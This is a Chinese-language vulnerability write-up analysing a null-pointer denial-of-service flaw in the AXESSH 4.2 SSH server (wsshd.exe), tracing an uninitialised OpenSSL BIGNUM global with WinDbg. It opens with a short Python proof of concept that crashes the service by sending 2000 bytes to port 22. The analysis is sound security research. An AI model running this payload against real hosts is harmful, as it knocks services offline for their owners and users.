对于软件AXESSH 4.2中存在的空指针引用导致的拒绝服务漏洞的分析。
参考自:https://whereisk0shl.top/post/2019-01-13
poc如下——
import socket
print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"
ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)
1.背景知识
A.关于软件AXESSH 4.2
Axessh is a Windows SSH client. It is a superb terminal emulator/telnet client for Windows. It provides SSH capabilities to Axessh without sacrificing any of existing functionality. SSH is the industry standard for remote logins.
这个软件集中也包含各种不同功能对应的exe,当前漏洞存在于其中的wsshd.exe
中。
B.关于空指针异常
以java语言为例,可能抛出空指针异常的情况有以下几种。
- Calling the instance method of a null object. 调用了一个空对象(null object)的实例方法时。
- Accessing or modifying the field of a null object. 访问或者修改了一个空对象(null object)的域时。
- Taking the length of null as if it were an array. 当数组时一个空对象的时候,取它的长度时。
- Accessing or modifying the slots of null as if it were an array. 当对数组中的某些null的元素进行访问或者修改的时候。
- Throwing null as if it were a Throwable value. 假如null当作Throwable的值时将会抛出异常。
Java防空指南(NullPointerException),看这一篇就差不多了
关于Java空指针异常的几种情况的总结(java.lang.NullPointerException)
2.漏洞复现
解压安装完应用程序后,运行安装目录下的wsshd.exe
,然后运行poc,可成功触发崩溃如下图。
然后用WinDbg
捕获崩溃现场,如下图所示。
接下来以上图中的402bfe
处的代码为入手点,分析漏洞触发原理。
3.漏洞分析
A.分析思路1
根据关键数据流向进行分析。
首先,我们可以看到,在出问题的语句前,程序对ecx的赋值为mov ecx, dword_453F40
,所以关键数据在于dword_453F40
。
然后,我们关注整个程序中存在的对于dword_453F40
的赋值操作,可以看到总共有如下图所示的4处赋值。
于是,我们在WinDbg中对上述4处赋值操作下断点,然后运行程序,发现并未触发任何一处断点,程序直接崩溃,所以可以看出这是一个直接引用未初始化变量导致的空指针异常。
B.分析思路2
梳理关键代码流程。
函数
sub_4036A0
在地址4049b8
处调用了漏洞函数sub_402BB0
;sub_4036A0
在地址403c36
处对dword_453F40
进行了初始化赋值操作;
但是在执行过程中并未执行对应的初始化操作,就直接调用了漏洞函数。
C.参考教程分析思路
结合程序中出现的API,辅助程序分析和理解。
如上图,在漏洞触发位置调用了函数BN_num_bits
函数,这个函数作用是openssl中负责处理将BNNUM结构体(openssl中带的专门处理大数的一种数据结构)中的字符转换成二进制的,于是我们可以推断出dword_453F40
处存放的应该是一个BNNUM结构体。
而在openssl中,是通过BN_new
的方法初始化BNNUM结构体的,所以找到BN_new
方法并下断点,即可发现程序并没有进行结构体的初始化就直接调用了,所以导致了空指针引用,引发了拒绝服务漏洞。